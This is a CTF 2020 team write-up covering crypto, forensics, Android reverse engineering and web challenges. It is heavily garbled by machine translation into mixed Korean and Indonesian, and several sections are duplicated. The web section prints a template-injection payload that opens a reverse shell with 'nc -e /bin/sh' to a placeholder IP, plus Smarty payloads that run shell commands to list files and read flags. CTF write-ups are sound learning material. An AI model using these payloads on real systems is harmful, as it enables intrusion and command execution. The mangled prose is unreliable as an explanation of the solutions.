CSC CTF 2020 보고서
템 회원
ChaO
AnehMan
MBEERRR
다프타 Isi
Cryptography
Forensic
Reverse Engineering
Web Exploitation
암호학
또 왔다
실행 요약
우리 암호학 부분의 또 다른 괜찮은 오래된 메뉴.
저자: 영원히 뛰다
기술 보고서
Diberikan 파일 암호화.txt.베리쿠트 페난 파칸니아
Ada 모드 1, eksponenen, dan 36 비밀문서.카미 멘두가(Kami menduga bahwa tiap karakter)의 깃발이 암호화됩니다.이것은 폭력적이고 암호화된 밀문 색인ke-i로 카라크트의 깃발을 보여준다.베리쿠트 아달라의 온전한 대본
from Crypto.Util.number import *
var = open("encrypted.txt","r").read().strip()
exec(var) #n,e,cipher[]
flag = ""
for c in cipher:
for m in range(256):
res = pow(m,e,n)
if res == c:
flag += chr(m)
break
print("FLAG:",flag)
하힐
깃발
플래그: CSCCTF{Rs4 d3crYpt10n By 3ncRypT10n}
법정의
로봇
실행 요약
사우닐처럼 사생하다.
저자: 비글비
파일:로봇.mp4
기술 보고서
이 영상의 배경은 영상의 배경과 배경이다. 이 영상은 매우 훌륭한 영상이다.이것은 모든 사람이 영상 속의 화면과 배경을 볼 수 있는 좋은 예이다.베리쿠트 스피트니아:
세틀라 디제란 칸 카미(Setelah dijalankankami)는 이 방면에서 성공을 거두었다.
이 파일들은 모두 배경 영상의 한 프레임이기 때문에 전송할 수 없습니다.카미 케무디아(Kami kemudian)는 전체 틀에서 중요한 역할을 하지만 gimp에서 중요한 역할을 한다.베리쿠트 판난 파칸니아:
깃발
CSCCTF{M4NT4P_53K4R4N9_B3rS1hK4n_F1L3}
역방향 공사
CSCCTF에 오신 걸 환영합니다.
실행 요약
CSCCTF에 오신 걸 환영합니다!이 문제부터 너의 역방향 공사 여행을 시작해라.너는 열쇠를 찾을 수 있니?
저자:darmads
기술 보고서
이것은 apk 파일입니다.Langsung saja 온라인에서 dan baca sourcenya 를 컴파일합니다.행 번호가 berikut ini 코드입니다.
public final boolean check(String kunci) {
String str = kunci;
Intrinsics.checkParameterIsNotNull(str, "kunci");
if (kunci.length() >= 25 &&
str.charAt(20) - str.charAt(0) == 24 &&
str.charAt(8) + str.charAt(5) == 126 &&
str.charAt(14) * str.charAt(5) == 3696 &&
str.charAt(21) - str.charAt(1) == 33 &&
str.charAt(10) - str.charAt(0) == 2 &&
str.charAt(17) - str.charAt(0) == 19 &&
str.charAt(17) * str.charAt(1) == 3848 &&
str.charAt(4) + str.charAt(6) == 123 &&
str.charAt(13) * str.charAt(16) == 4488 &&
str.charAt(1) * str.charAt(6) == 2600 &&
str.charAt(13) * str.charAt(23) == 3536 &&
str.charAt(8) - str.charAt(5) == 14 &&
str.charAt(15) + str.charAt(5) == 123 &&
str.charAt(20) - str.charAt(17) == 5 &&
str.charAt(17) + str.charAt(16) == 140 &&
str.charAt(16) + str.charAt(14) == 132 &&
str.charAt(3) * str.charAt(6) == 4250 &&
str.charAt(18) + str.charAt(14) == 145 &&
str.charAt(13) * 2 == 136 &&
str.charAt(17) - str.charAt(10) == 17 &&
str.charAt(11) + str.charAt(8) == 145 &&
str.charAt(9) + str.charAt(1) == 135 &&
str.charAt(11) + str.charAt(24) == 146 &&
str.charAt(3) - str.charAt(7) == 11 &&
str.charAt(0) - str.charAt(2) == 2 &&
str.charAt(11) - str.charAt(13) == 7 &&
str.charAt(3) + str.charAt(4) == 158 &&
str.charAt(3) - str.charAt(16) == 19 &&
str.charAt(4) - str.charAt(14) == 7 &&
str.charAt(12) * str.charAt(1) == 4056 &&
str.charAt(20) + str.charAt(8) == 149 &&
str.charAt(9) - str.charAt(4) == 10 &&
str.charAt(9) - str.charAt(6) == 33 &&
str.charAt(9) * str.charAt(13) == 5644 &&
str.charAt(16) + str.charAt(5) == 122 &&
str.charAt(16) - str.charAt(10) == 9 &&
str.charAt(17) + str.charAt(24) == 145 &&
str.charAt(20) - str.charAt(13) == 11 &&
str.charAt(18) * str.charAt(11) == 5925 &&
str.charAt(21) * str.charAt(23) == 4420 &&
str.charAt(22) * str.charAt(7) == 5698 &&
str.charAt(15) - str.charAt(19) == 12 &&
str.charAt(16) - str.charAt(1) == 14 &&
str.charAt(3) - str.charAt(13) == 17 &&
str.charAt(12) * str.charAt(8) == 5460 &&
str.charAt(21) * str.charAt(13) == 5780 &&
str.charAt(7) * str.charAt(1) == 3848 &&
str.charAt(22) + str.charAt(6) == 127 &&
str.charAt(13) + str.charAt(5) == 124 &&
str.charAt(24) + str.charAt(1) == 123) {
return true;
}
return false;
}
이 밖에 apk는 진정한 깃발을 사용할 수 있도록 시퀀스 키를 제공합니다.직렬 키는 행 코드 diatas에 사용됩니다.시퀀스 키를 생성하기 위해 kami menggunakan z3solver.이것은 직렬 키 문제를 잘 해결하는 방법이다.
from z3 import *
vars = [Int(str(i)) for i in range(25)]
s = Solver()
s.add(vars[20] - vars[0] == 24)
s.add(vars[8]+ vars[5] == 126 )
s.add(vars[14] * vars[5] == 3696)
s.add(vars[21] - vars[1] == 33)
s.add(vars[10] - vars[0] == 2)
s.add(vars[17] - vars[0] == 19)
s.add(vars[17] * vars[1] == 3848)
s.add(vars[4]+ vars[6] == 123 )
s.add(vars[13] * vars[16] == 4488)
s.add(vars[1]* vars[6] == 2600 )
s.add(vars[13] * vars[23] == 3536)
s.add(vars[8]- vars[5] == 14 )
s.add(vars[15] + vars[5] == 123)
s.add(vars[20] - vars[17] == 5)
s.add(vars[17] + vars[16] == 140)
s.add(vars[16] + vars[14] == 132)
s.add(vars[3]* vars[6] == 4250 )
s.add(vars[18] + vars[14] == 145)
s.add(vars[13] * 2 == 136)
s.add(vars[17] - vars[10] == 17)
s.add(vars[11] + vars[8] == 145)
s.add(vars[9]+ vars[1] == 135 )
s.add(vars[11] + vars[24] == 146)
s.add(vars[3]- vars[7] == 11 )
s.add(vars[0]- vars[2] == 2 )
s.add(vars[11] - vars[13] == 7)
s.add(vars[3]+ vars[4] == 158 )
s.add(vars[3]- vars[16] == 19 )
s.add(vars[4]- vars[14] == 7 )
s.add(vars[12] * vars[1] == 4056)
s.add(vars[20] + vars[8] == 149)
s.add(vars[9]- vars[4] == 10 )
s.add(vars[9]- vars[6] == 33 )
s.add(vars[9]* vars[13] == 5644 )
s.add(vars[16] + vars[5] == 122)
s.add(vars[16] - vars[10] == 9)
s.add(vars[17] + vars[24] == 145)
s.add(vars[20] - vars[13] == 11)
s.add(vars[18] * vars[11] == 5925)
s.add(vars[21] * vars[23] == 4420)
s.add(vars[22] * vars[7] == 5698)
s.add(vars[15] - vars[19] == 12)
s.add(vars[16] - vars[1] == 14)
s.add(vars[3]- vars[13] == 17 )
s.add(vars[12] * vars[8] == 5460)
s.add(vars[21] * vars[13] == 5780)
s.add(vars[7]* vars[1] == 3848 )
s.add(vars[22] + vars[6] == 127)
s.add(vars[13] + vars[5] == 124)
s.add(vars[24] + vars[1] == 123)
print s.check()
print s.model()
w = {5 : 56,
21 : 85,
3 : 85,
19 : 55,
22 : 77,
23 : 52,
18 : 79,
20 : 79,
16 : 66,
9 : 83,
6 : 50,
4 : 73,
8 : 70,
12 : 78,
14 : 66,
11 : 75,
2 : 53,
7 : 74,
24 : 71,
13 : 68,
17 : 74,
15 : 67,
10 : 57,
1 : 52,
0 : 55}
test = []
for i in w:
test.append(i)
serial = ''
for i in range(len(w)):
serial += chr(w[test[i]])
print serial
Jalankan scriptnya.
이것은 직렬 키가 될 것입니다. 예를 들어itu는 좋은 예가 될 것입니다.
이것은 시퀀스 키입니다. 이름은 "tiap 5"입니다.
깃발
CSCCTF{745UI-82JFS-9KNDB-CBJO7-OUM4G}
좀 더 올려주세요.
실행 요약
목표:깃발을 잡아라!
저자:darmads
https://drive.google.com/file/d/1PpoawEkFW0tIh_UmTlKVcERdQZ2YTc_o/view?usp=sharing
기술 보고서
시합 중에 모두가 일치단결하다.하지만 카린나 카테고리 도전전의 결과는 반대였다. 나는 역컴파일을 통해 파일을 C-Sharp로 편집하고 싶다.dll은 당신을 게임에서 역전시킬 수 있습니다.이것은 우리가 깃발을 걸기 위해 툴리잔 깃발을 사용하는 것을 포기해야 한다는 것을 의미한다.우리는 dnspy를 이용하여 파일을 수집하고 이를 매우 중요한 분야에 통합할 수 있으며 깃발, 예를 들어 깃발을 사용할 수 있다.우리 팀은 setiap 파일과 CSCCTF 파일에서 문자열을 사용하도록 노력할 것입니다.
Ternyata gamenya gak perlu di reverse>:(.
Reversenya kox jadi 법의학자>: (.
깃발
CSCCTF{1_H0pe_I_w4s_b0rn_T4ll3r}
네트워크 공격
스페리버그
실행 요약
작성자: Siahaan
http://128.199.77.174:20203
기술 보고서
이것은 웹 응용 프로그램으로 원본 코드는 자바에서 온 것이다.베리쿠트 이시 필니아
파일 관리자가 가장 관심을 가지는 것은 파일이다.javadi 변수 expr yang bisa di escape.
이것은 스킨 반전 입력 제목으로 소폭의 화면을 표시합니다.
' + T(java.lang.Runtime).getRuntime().exec("nc -e /bin/sh your-ip-here") + '
집에 사내아이가 하나 있는데, 그는 사내아이이다.
표지딩겔 고양이
깃발
CSCCTF{sst1 4 항상 haz freinds}
그다지 총명하지 않다
실행 요약
저는 저보다 똑똑한 사람한테 시집가고 싶어요. - xomeone.
작성자: Arkangers
아다디 깃발/
http://128.199.77.174:20200
기술 보고서
한 네트워크에서, 우리는 한 가지 나뭇가지의 효과적인 하중이 다른 나뭇가지의 하중보다 훨씬 크다는 것을 볼 수 있다.
테르니아타 주두르 소르 아달라(Ternyata judul soal adalah)는 도전을 암시하고, 아키르니아 카미 멘코바(akhirnya kami mencoba)는 유효 하중을 높이기 위해 노력할 것이라고 밝혔다.베리쿠트는 카미 구나칸이다.
{php}echo `ls /`;{/php}
Akhirnya berhasil ls.이 고양이의 깃발은 유효 하중이다
{php}echo `cat /f*`;{/php}
깃발
CSCCTF{너는 나보다 똑똑해!}
iHateDevelopers
실행 요약
작성자: Siahaan
http://128.199.77.174:20201
기술 보고서
이 사람은 콩을 먹는 사람이다.베리쿠트 페난 파칸니아
만약 우리가 소식의 출처를 찾을 수 없다면, 우리는 경보를 해제할 것이다.
Langsung saja kita mematikan JavaScript di 브라우저를 사용하여 페이지를 새로 고치고 소스 코드를 봅니다.Ternyata flag ada langsung di source
깃발
CSCCTF{의존하는 사람에게}
Reference
이 문제에 관하여(CSC CTF 2020 보고서), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다
https://dev.to/yudi7ll/csc-ctf-2020-write-up-53eo
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)
from Crypto.Util.number import *
var = open("encrypted.txt","r").read().strip()
exec(var) #n,e,cipher[]
flag = ""
for c in cipher:
for m in range(256):
res = pow(m,e,n)
if res == c:
flag += chr(m)
break
print("FLAG:",flag)
로봇
실행 요약
사우닐처럼 사생하다.
저자: 비글비
파일:로봇.mp4
기술 보고서
이 영상의 배경은 영상의 배경과 배경이다. 이 영상은 매우 훌륭한 영상이다.이것은 모든 사람이 영상 속의 화면과 배경을 볼 수 있는 좋은 예이다.베리쿠트 스피트니아:
세틀라 디제란 칸 카미(Setelah dijalankankami)는 이 방면에서 성공을 거두었다.
이 파일들은 모두 배경 영상의 한 프레임이기 때문에 전송할 수 없습니다.카미 케무디아(Kami kemudian)는 전체 틀에서 중요한 역할을 하지만 gimp에서 중요한 역할을 한다.베리쿠트 판난 파칸니아:
깃발
CSCCTF{M4NT4P_53K4R4N9_B3rS1hK4n_F1L3}
역방향 공사
CSCCTF에 오신 걸 환영합니다.
실행 요약
CSCCTF에 오신 걸 환영합니다!이 문제부터 너의 역방향 공사 여행을 시작해라.너는 열쇠를 찾을 수 있니?
저자:darmads
기술 보고서
이것은 apk 파일입니다.Langsung saja 온라인에서 dan baca sourcenya 를 컴파일합니다.행 번호가 berikut ini 코드입니다.
public final boolean check(String kunci) {
String str = kunci;
Intrinsics.checkParameterIsNotNull(str, "kunci");
if (kunci.length() >= 25 &&
str.charAt(20) - str.charAt(0) == 24 &&
str.charAt(8) + str.charAt(5) == 126 &&
str.charAt(14) * str.charAt(5) == 3696 &&
str.charAt(21) - str.charAt(1) == 33 &&
str.charAt(10) - str.charAt(0) == 2 &&
str.charAt(17) - str.charAt(0) == 19 &&
str.charAt(17) * str.charAt(1) == 3848 &&
str.charAt(4) + str.charAt(6) == 123 &&
str.charAt(13) * str.charAt(16) == 4488 &&
str.charAt(1) * str.charAt(6) == 2600 &&
str.charAt(13) * str.charAt(23) == 3536 &&
str.charAt(8) - str.charAt(5) == 14 &&
str.charAt(15) + str.charAt(5) == 123 &&
str.charAt(20) - str.charAt(17) == 5 &&
str.charAt(17) + str.charAt(16) == 140 &&
str.charAt(16) + str.charAt(14) == 132 &&
str.charAt(3) * str.charAt(6) == 4250 &&
str.charAt(18) + str.charAt(14) == 145 &&
str.charAt(13) * 2 == 136 &&
str.charAt(17) - str.charAt(10) == 17 &&
str.charAt(11) + str.charAt(8) == 145 &&
str.charAt(9) + str.charAt(1) == 135 &&
str.charAt(11) + str.charAt(24) == 146 &&
str.charAt(3) - str.charAt(7) == 11 &&
str.charAt(0) - str.charAt(2) == 2 &&
str.charAt(11) - str.charAt(13) == 7 &&
str.charAt(3) + str.charAt(4) == 158 &&
str.charAt(3) - str.charAt(16) == 19 &&
str.charAt(4) - str.charAt(14) == 7 &&
str.charAt(12) * str.charAt(1) == 4056 &&
str.charAt(20) + str.charAt(8) == 149 &&
str.charAt(9) - str.charAt(4) == 10 &&
str.charAt(9) - str.charAt(6) == 33 &&
str.charAt(9) * str.charAt(13) == 5644 &&
str.charAt(16) + str.charAt(5) == 122 &&
str.charAt(16) - str.charAt(10) == 9 &&
str.charAt(17) + str.charAt(24) == 145 &&
str.charAt(20) - str.charAt(13) == 11 &&
str.charAt(18) * str.charAt(11) == 5925 &&
str.charAt(21) * str.charAt(23) == 4420 &&
str.charAt(22) * str.charAt(7) == 5698 &&
str.charAt(15) - str.charAt(19) == 12 &&
str.charAt(16) - str.charAt(1) == 14 &&
str.charAt(3) - str.charAt(13) == 17 &&
str.charAt(12) * str.charAt(8) == 5460 &&
str.charAt(21) * str.charAt(13) == 5780 &&
str.charAt(7) * str.charAt(1) == 3848 &&
str.charAt(22) + str.charAt(6) == 127 &&
str.charAt(13) + str.charAt(5) == 124 &&
str.charAt(24) + str.charAt(1) == 123) {
return true;
}
return false;
}
이 밖에 apk는 진정한 깃발을 사용할 수 있도록 시퀀스 키를 제공합니다.직렬 키는 행 코드 diatas에 사용됩니다.시퀀스 키를 생성하기 위해 kami menggunakan z3solver.이것은 직렬 키 문제를 잘 해결하는 방법이다.
from z3 import *
vars = [Int(str(i)) for i in range(25)]
s = Solver()
s.add(vars[20] - vars[0] == 24)
s.add(vars[8]+ vars[5] == 126 )
s.add(vars[14] * vars[5] == 3696)
s.add(vars[21] - vars[1] == 33)
s.add(vars[10] - vars[0] == 2)
s.add(vars[17] - vars[0] == 19)
s.add(vars[17] * vars[1] == 3848)
s.add(vars[4]+ vars[6] == 123 )
s.add(vars[13] * vars[16] == 4488)
s.add(vars[1]* vars[6] == 2600 )
s.add(vars[13] * vars[23] == 3536)
s.add(vars[8]- vars[5] == 14 )
s.add(vars[15] + vars[5] == 123)
s.add(vars[20] - vars[17] == 5)
s.add(vars[17] + vars[16] == 140)
s.add(vars[16] + vars[14] == 132)
s.add(vars[3]* vars[6] == 4250 )
s.add(vars[18] + vars[14] == 145)
s.add(vars[13] * 2 == 136)
s.add(vars[17] - vars[10] == 17)
s.add(vars[11] + vars[8] == 145)
s.add(vars[9]+ vars[1] == 135 )
s.add(vars[11] + vars[24] == 146)
s.add(vars[3]- vars[7] == 11 )
s.add(vars[0]- vars[2] == 2 )
s.add(vars[11] - vars[13] == 7)
s.add(vars[3]+ vars[4] == 158 )
s.add(vars[3]- vars[16] == 19 )
s.add(vars[4]- vars[14] == 7 )
s.add(vars[12] * vars[1] == 4056)
s.add(vars[20] + vars[8] == 149)
s.add(vars[9]- vars[4] == 10 )
s.add(vars[9]- vars[6] == 33 )
s.add(vars[9]* vars[13] == 5644 )
s.add(vars[16] + vars[5] == 122)
s.add(vars[16] - vars[10] == 9)
s.add(vars[17] + vars[24] == 145)
s.add(vars[20] - vars[13] == 11)
s.add(vars[18] * vars[11] == 5925)
s.add(vars[21] * vars[23] == 4420)
s.add(vars[22] * vars[7] == 5698)
s.add(vars[15] - vars[19] == 12)
s.add(vars[16] - vars[1] == 14)
s.add(vars[3]- vars[13] == 17 )
s.add(vars[12] * vars[8] == 5460)
s.add(vars[21] * vars[13] == 5780)
s.add(vars[7]* vars[1] == 3848 )
s.add(vars[22] + vars[6] == 127)
s.add(vars[13] + vars[5] == 124)
s.add(vars[24] + vars[1] == 123)
print s.check()
print s.model()
w = {5 : 56,
21 : 85,
3 : 85,
19 : 55,
22 : 77,
23 : 52,
18 : 79,
20 : 79,
16 : 66,
9 : 83,
6 : 50,
4 : 73,
8 : 70,
12 : 78,
14 : 66,
11 : 75,
2 : 53,
7 : 74,
24 : 71,
13 : 68,
17 : 74,
15 : 67,
10 : 57,
1 : 52,
0 : 55}
test = []
for i in w:
test.append(i)
serial = ''
for i in range(len(w)):
serial += chr(w[test[i]])
print serial
Jalankan scriptnya.
이것은 직렬 키가 될 것입니다. 예를 들어itu는 좋은 예가 될 것입니다.
이것은 시퀀스 키입니다. 이름은 "tiap 5"입니다.
깃발
CSCCTF{745UI-82JFS-9KNDB-CBJO7-OUM4G}
좀 더 올려주세요.
실행 요약
목표:깃발을 잡아라!
저자:darmads
https://drive.google.com/file/d/1PpoawEkFW0tIh_UmTlKVcERdQZ2YTc_o/view?usp=sharing
기술 보고서
시합 중에 모두가 일치단결하다.하지만 카린나 카테고리 도전전의 결과는 반대였다. 나는 역컴파일을 통해 파일을 C-Sharp로 편집하고 싶다.dll은 당신을 게임에서 역전시킬 수 있습니다.이것은 우리가 깃발을 걸기 위해 툴리잔 깃발을 사용하는 것을 포기해야 한다는 것을 의미한다.우리는 dnspy를 이용하여 파일을 수집하고 이를 매우 중요한 분야에 통합할 수 있으며 깃발, 예를 들어 깃발을 사용할 수 있다.우리 팀은 setiap 파일과 CSCCTF 파일에서 문자열을 사용하도록 노력할 것입니다.
Ternyata gamenya gak perlu di reverse>:(.
Reversenya kox jadi 법의학자>: (.
깃발
CSCCTF{1_H0pe_I_w4s_b0rn_T4ll3r}
네트워크 공격
스페리버그
실행 요약
작성자: Siahaan
http://128.199.77.174:20203
기술 보고서
이것은 웹 응용 프로그램으로 원본 코드는 자바에서 온 것이다.베리쿠트 이시 필니아
파일 관리자가 가장 관심을 가지는 것은 파일이다.javadi 변수 expr yang bisa di escape.
이것은 스킨 반전 입력 제목으로 소폭의 화면을 표시합니다.
' + T(java.lang.Runtime).getRuntime().exec("nc -e /bin/sh your-ip-here") + '
집에 사내아이가 하나 있는데, 그는 사내아이이다.
표지딩겔 고양이
깃발
CSCCTF{sst1 4 항상 haz freinds}
그다지 총명하지 않다
실행 요약
저는 저보다 똑똑한 사람한테 시집가고 싶어요. - xomeone.
작성자: Arkangers
아다디 깃발/
http://128.199.77.174:20200
기술 보고서
한 네트워크에서, 우리는 한 가지 나뭇가지의 효과적인 하중이 다른 나뭇가지의 하중보다 훨씬 크다는 것을 볼 수 있다.
테르니아타 주두르 소르 아달라(Ternyata judul soal adalah)는 도전을 암시하고, 아키르니아 카미 멘코바(akhirnya kami mencoba)는 유효 하중을 높이기 위해 노력할 것이라고 밝혔다.베리쿠트는 카미 구나칸이다.
{php}echo `ls /`;{/php}
Akhirnya berhasil ls.이 고양이의 깃발은 유효 하중이다
{php}echo `cat /f*`;{/php}
깃발
CSCCTF{너는 나보다 똑똑해!}
iHateDevelopers
실행 요약
작성자: Siahaan
http://128.199.77.174:20201
기술 보고서
이 사람은 콩을 먹는 사람이다.베리쿠트 페난 파칸니아
만약 우리가 소식의 출처를 찾을 수 없다면, 우리는 경보를 해제할 것이다.
Langsung saja kita mematikan JavaScript di 브라우저를 사용하여 페이지를 새로 고치고 소스 코드를 봅니다.Ternyata flag ada langsung di source
깃발
CSCCTF{의존하는 사람에게}
Reference
이 문제에 관하여(CSC CTF 2020 보고서), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다
https://dev.to/yudi7ll/csc-ctf-2020-write-up-53eo
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)
public final boolean check(String kunci) {
String str = kunci;
Intrinsics.checkParameterIsNotNull(str, "kunci");
if (kunci.length() >= 25 &&
str.charAt(20) - str.charAt(0) == 24 &&
str.charAt(8) + str.charAt(5) == 126 &&
str.charAt(14) * str.charAt(5) == 3696 &&
str.charAt(21) - str.charAt(1) == 33 &&
str.charAt(10) - str.charAt(0) == 2 &&
str.charAt(17) - str.charAt(0) == 19 &&
str.charAt(17) * str.charAt(1) == 3848 &&
str.charAt(4) + str.charAt(6) == 123 &&
str.charAt(13) * str.charAt(16) == 4488 &&
str.charAt(1) * str.charAt(6) == 2600 &&
str.charAt(13) * str.charAt(23) == 3536 &&
str.charAt(8) - str.charAt(5) == 14 &&
str.charAt(15) + str.charAt(5) == 123 &&
str.charAt(20) - str.charAt(17) == 5 &&
str.charAt(17) + str.charAt(16) == 140 &&
str.charAt(16) + str.charAt(14) == 132 &&
str.charAt(3) * str.charAt(6) == 4250 &&
str.charAt(18) + str.charAt(14) == 145 &&
str.charAt(13) * 2 == 136 &&
str.charAt(17) - str.charAt(10) == 17 &&
str.charAt(11) + str.charAt(8) == 145 &&
str.charAt(9) + str.charAt(1) == 135 &&
str.charAt(11) + str.charAt(24) == 146 &&
str.charAt(3) - str.charAt(7) == 11 &&
str.charAt(0) - str.charAt(2) == 2 &&
str.charAt(11) - str.charAt(13) == 7 &&
str.charAt(3) + str.charAt(4) == 158 &&
str.charAt(3) - str.charAt(16) == 19 &&
str.charAt(4) - str.charAt(14) == 7 &&
str.charAt(12) * str.charAt(1) == 4056 &&
str.charAt(20) + str.charAt(8) == 149 &&
str.charAt(9) - str.charAt(4) == 10 &&
str.charAt(9) - str.charAt(6) == 33 &&
str.charAt(9) * str.charAt(13) == 5644 &&
str.charAt(16) + str.charAt(5) == 122 &&
str.charAt(16) - str.charAt(10) == 9 &&
str.charAt(17) + str.charAt(24) == 145 &&
str.charAt(20) - str.charAt(13) == 11 &&
str.charAt(18) * str.charAt(11) == 5925 &&
str.charAt(21) * str.charAt(23) == 4420 &&
str.charAt(22) * str.charAt(7) == 5698 &&
str.charAt(15) - str.charAt(19) == 12 &&
str.charAt(16) - str.charAt(1) == 14 &&
str.charAt(3) - str.charAt(13) == 17 &&
str.charAt(12) * str.charAt(8) == 5460 &&
str.charAt(21) * str.charAt(13) == 5780 &&
str.charAt(7) * str.charAt(1) == 3848 &&
str.charAt(22) + str.charAt(6) == 127 &&
str.charAt(13) + str.charAt(5) == 124 &&
str.charAt(24) + str.charAt(1) == 123) {
return true;
}
return false;
}
from z3 import *
vars = [Int(str(i)) for i in range(25)]
s = Solver()
s.add(vars[20] - vars[0] == 24)
s.add(vars[8]+ vars[5] == 126 )
s.add(vars[14] * vars[5] == 3696)
s.add(vars[21] - vars[1] == 33)
s.add(vars[10] - vars[0] == 2)
s.add(vars[17] - vars[0] == 19)
s.add(vars[17] * vars[1] == 3848)
s.add(vars[4]+ vars[6] == 123 )
s.add(vars[13] * vars[16] == 4488)
s.add(vars[1]* vars[6] == 2600 )
s.add(vars[13] * vars[23] == 3536)
s.add(vars[8]- vars[5] == 14 )
s.add(vars[15] + vars[5] == 123)
s.add(vars[20] - vars[17] == 5)
s.add(vars[17] + vars[16] == 140)
s.add(vars[16] + vars[14] == 132)
s.add(vars[3]* vars[6] == 4250 )
s.add(vars[18] + vars[14] == 145)
s.add(vars[13] * 2 == 136)
s.add(vars[17] - vars[10] == 17)
s.add(vars[11] + vars[8] == 145)
s.add(vars[9]+ vars[1] == 135 )
s.add(vars[11] + vars[24] == 146)
s.add(vars[3]- vars[7] == 11 )
s.add(vars[0]- vars[2] == 2 )
s.add(vars[11] - vars[13] == 7)
s.add(vars[3]+ vars[4] == 158 )
s.add(vars[3]- vars[16] == 19 )
s.add(vars[4]- vars[14] == 7 )
s.add(vars[12] * vars[1] == 4056)
s.add(vars[20] + vars[8] == 149)
s.add(vars[9]- vars[4] == 10 )
s.add(vars[9]- vars[6] == 33 )
s.add(vars[9]* vars[13] == 5644 )
s.add(vars[16] + vars[5] == 122)
s.add(vars[16] - vars[10] == 9)
s.add(vars[17] + vars[24] == 145)
s.add(vars[20] - vars[13] == 11)
s.add(vars[18] * vars[11] == 5925)
s.add(vars[21] * vars[23] == 4420)
s.add(vars[22] * vars[7] == 5698)
s.add(vars[15] - vars[19] == 12)
s.add(vars[16] - vars[1] == 14)
s.add(vars[3]- vars[13] == 17 )
s.add(vars[12] * vars[8] == 5460)
s.add(vars[21] * vars[13] == 5780)
s.add(vars[7]* vars[1] == 3848 )
s.add(vars[22] + vars[6] == 127)
s.add(vars[13] + vars[5] == 124)
s.add(vars[24] + vars[1] == 123)
print s.check()
print s.model()
w = {5 : 56,
21 : 85,
3 : 85,
19 : 55,
22 : 77,
23 : 52,
18 : 79,
20 : 79,
16 : 66,
9 : 83,
6 : 50,
4 : 73,
8 : 70,
12 : 78,
14 : 66,
11 : 75,
2 : 53,
7 : 74,
24 : 71,
13 : 68,
17 : 74,
15 : 67,
10 : 57,
1 : 52,
0 : 55}
test = []
for i in w:
test.append(i)
serial = ''
for i in range(len(w)):
serial += chr(w[test[i]])
print serial
스페리버그
실행 요약
작성자: Siahaan
http://128.199.77.174:20203
기술 보고서
이것은 웹 응용 프로그램으로 원본 코드는 자바에서 온 것이다.베리쿠트 이시 필니아
파일 관리자가 가장 관심을 가지는 것은 파일이다.javadi 변수 expr yang bisa di escape.
이것은 스킨 반전 입력 제목으로 소폭의 화면을 표시합니다.
' + T(java.lang.Runtime).getRuntime().exec("nc -e /bin/sh your-ip-here") + '
집에 사내아이가 하나 있는데, 그는 사내아이이다.
표지딩겔 고양이
깃발
CSCCTF{sst1 4 항상 haz freinds}
그다지 총명하지 않다
실행 요약
저는 저보다 똑똑한 사람한테 시집가고 싶어요. - xomeone.
작성자: Arkangers
아다디 깃발/
http://128.199.77.174:20200
기술 보고서
한 네트워크에서, 우리는 한 가지 나뭇가지의 효과적인 하중이 다른 나뭇가지의 하중보다 훨씬 크다는 것을 볼 수 있다.
테르니아타 주두르 소르 아달라(Ternyata judul soal adalah)는 도전을 암시하고, 아키르니아 카미 멘코바(akhirnya kami mencoba)는 유효 하중을 높이기 위해 노력할 것이라고 밝혔다.베리쿠트는 카미 구나칸이다.
{php}echo `ls /`;{/php}
Akhirnya berhasil ls.이 고양이의 깃발은 유효 하중이다
{php}echo `cat /f*`;{/php}
깃발
CSCCTF{너는 나보다 똑똑해!}
iHateDevelopers
실행 요약
작성자: Siahaan
http://128.199.77.174:20201
기술 보고서
이 사람은 콩을 먹는 사람이다.베리쿠트 페난 파칸니아
만약 우리가 소식의 출처를 찾을 수 없다면, 우리는 경보를 해제할 것이다.
Langsung saja kita mematikan JavaScript di 브라우저를 사용하여 페이지를 새로 고치고 소스 코드를 봅니다.Ternyata flag ada langsung di source
깃발
CSCCTF{의존하는 사람에게}
Reference
이 문제에 관하여(CSC CTF 2020 보고서), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/yudi7ll/csc-ctf-2020-write-up-53eo텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)